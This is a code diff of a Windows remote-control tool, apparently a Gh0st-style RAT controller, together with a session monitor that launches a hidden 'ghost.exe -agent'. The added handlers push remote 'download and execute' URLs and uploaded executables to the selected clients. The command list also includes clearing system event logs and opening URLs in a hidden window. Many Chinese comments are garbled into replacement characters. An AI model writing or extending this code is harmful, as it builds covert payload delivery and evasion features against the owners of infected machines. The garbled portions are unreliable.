result = CreateProcessAsUser( result = CreateProcessAsUser(
hDupToken, hDupToken,
NULL, // Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> NULL, // 应用程序名(在命令行中解析)
cmdLine, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ghost.exe -agent cmdLine, // 命令行参数:ghost.exe -agent
NULL, // <EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> NULL, // 进程安全属性
NULL, // <EFBFBD>̰߳<EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> NULL, // 线程安全属性
FALSE, // <EFBFBD><EFBFBD><EFBFBD>̳о<EFBFBD><EFBFBD><EFBFBD> FALSE, // 不继承句柄
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־ NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, // 创建标志
lpEnvironment, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> lpEnvironment, // 环境变量
NULL, // <EFBFBD><EFBFBD>ǰĿ¼ NULL, // 当前目录
&si, &si,
&pi &pi
); );
@@ -508,21 +508,21 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId); sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId);
Mprintf(buf); Mprintf(buf);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD>ֹͣʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD> // 保存进程信息,以便停止时可以终止它
EnterCriticalSection(&self->csProcessList); EnterCriticalSection(&self->csProcessList);
info.processId = pi.dwProcessId; info.processId = pi.dwProcessId;
info.sessionId = sessionId; info.sessionId = sessionId;
info.hProcess = pi.hProcess; // <EFBFBD><EFBFBD><EFBFBD>رվ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ں<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ info.hProcess = pi.hProcess; // 不关闭句柄,保留用于后续终止
AgentArray_Add(&self->agentProcesses, &info); AgentArray_Add(&self->agentProcesses, &info);
LeaveCriticalSection(&self->csProcessList); LeaveCriticalSection(&self->csProcessList);
CloseHandle(pi.hThread); // <EFBFBD>߳̾<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Թر<EFBFBD> CloseHandle(pi.hThread); // 线程句柄可以关闭
} else { } else {
err = GetLastError(); err = GetLastError();
sprintf(buf, "CreateProcessAsUser failed: %d", (int)err); sprintf(buf, "CreateProcessAsUser failed: %d", (int)err);
Mprintf(buf); Mprintf(buf);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϸ<EFBFBD>Ĵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ // 提供更详细的错误信息
if (err == ERROR_FILE_NOT_FOUND) { if (err == ERROR_FILE_NOT_FOUND) {
Mprintf("ERROR: agent executable file not found"); Mprintf("ERROR: agent executable file not found");
} else if (err == ERROR_ACCESS_DENIED) { } else if (err == ERROR_ACCESS_DENIED) {

View File

@@ -1,4 +1,4 @@
#ifndef SESSION_MONITOR_H #ifndef SESSION_MONITOR_H
#define SESSION_MONITOR_H #define SESSION_MONITOR_H
#include <windows.h> #include <windows.h>

View File

@@ -175,7 +175,7 @@ enum {
COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD> COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD> COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4> COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><EFBFBD><EFBFBD>ظ<EFBFBD><EFBFBD><EFBFBD> COMMAND_UPLOAD_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20>ϴ<EFBFBD>ִ<EFBFBD><EFBFBD>
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־ COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ

View File

@@ -419,6 +419,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
m_tinyDLL = NULL; m_tinyDLL = NULL;
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins"); auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end()); m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000);
} }
@@ -774,7 +775,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
} }
if (ctx->GetClientID() == id) { if (ctx->GetClientID() == id) {
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
Mprintf("上线消息 - 主机已经存在 [2]: same client ID. IP= %s\n", data[ONLINELIST_IP]); Mprintf("上线消息 - 主机已经存在 [2]: %llu. IP= %s. Path= %s\n", id, data[ONLINELIST_IP], path);
return; return;
} }
} }
@@ -2836,6 +2837,25 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
return CDialogEx::PreTranslateMessage(pMsg); return CDialogEx::PreTranslateMessage(pMsg);
} }
LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) {
auto start = std::chrono::steady_clock::now();
LRESULT result = CDialogEx::WindowProc(message, wParam, lParam);
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::steady_clock::now() - start).count();
if (ms > m_TraceTime) {
if (message >= WM_USER) {
Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms);
}
else {
Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms);
}
}
return result;
}
void CMy2015RemoteDlg::OnOnlineShare() void CMy2015RemoteDlg::OnOnlineShare()
{ {
@@ -3875,13 +3895,67 @@ void CMy2015RemoteDlg::OnMachineReboot()
void CMy2015RemoteDlg::OnExecuteDownload() void CMy2015RemoteDlg::OnExecuteDownload()
{ {
TODO_NOTICE; CInputDialog dlg(this);
} dlg.Init("下载执行", "远程下载地址:");
dlg.m_str = "https://127.0.0.1/example.exe";
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
return;
CString strUrl = dlg.m_str;
int nUrlLen = strUrl.GetLength();
int nPacketSize = 1 + nUrlLen + 1;
BYTE* pPacket = new BYTE[nPacketSize];
pPacket[0] = COMMAND_DOWN_EXEC;
memcpy(pPacket + 1, strUrl.GetBuffer(), nUrlLen);
pPacket[1 + nUrlLen] = '\0';
SendSelectedCommand(pPacket, nPacketSize);
delete[] pPacket;
}
void CMy2015RemoteDlg::OnExecuteUpload() void CMy2015RemoteDlg::OnExecuteUpload()
{ {
TODO_NOTICE; CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
_T("可执行文件 (*.exe)|*.exe||"), this);
if (dlg.DoModal() != IDOK)
return;
CString strFilePath = dlg.GetPathName();
CFile file;
if (!file.Open(strFilePath, CFile::modeRead | CFile::typeBinary)) {
MessageBox("无法读取文件!\r\n" + strFilePath, "错误", MB_ICONERROR);
return;
}
DWORD dwFileSize = (DWORD)file.GetLength();
if (dwFileSize == 0 || dwFileSize > 12 * 1024 * 1024) {
MessageBox("文件为空或超过12MB无法使用此功能!", "提示", MB_ICONWARNING);
file.Close();
return;
}
BYTE* pFileData = new BYTE[dwFileSize];
file.Read(pFileData, dwFileSize);
file.Close();
// 命令+大小+内容
int nPacketSize = 1 + 4 + dwFileSize;
BYTE* pPacket = new BYTE[nPacketSize];
pPacket[0] = COMMAND_UPLOAD_EXEC;
memcpy(pPacket + 1, &dwFileSize, 4);
memcpy(pPacket + 1 + 4, pFileData, dwFileSize);
SendSelectedCommand(pPacket, nPacketSize);
delete[] pFileData;
delete[] pPacket;
} }

View File

@@ -324,6 +324,8 @@ public:
afx_msg LRESULT UpdateUserEvent(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UpdateUserEvent(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg); virtual BOOL PreTranslateMessage(MSG* pMsg);
int m_TraceTime = 1000;
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineShare(); afx_msg void OnOnlineShare();
afx_msg void OnToolAuth(); afx_msg void OnToolAuth();
afx_msg void OnToolGenMaster(); afx_msg void OnToolGenMaster();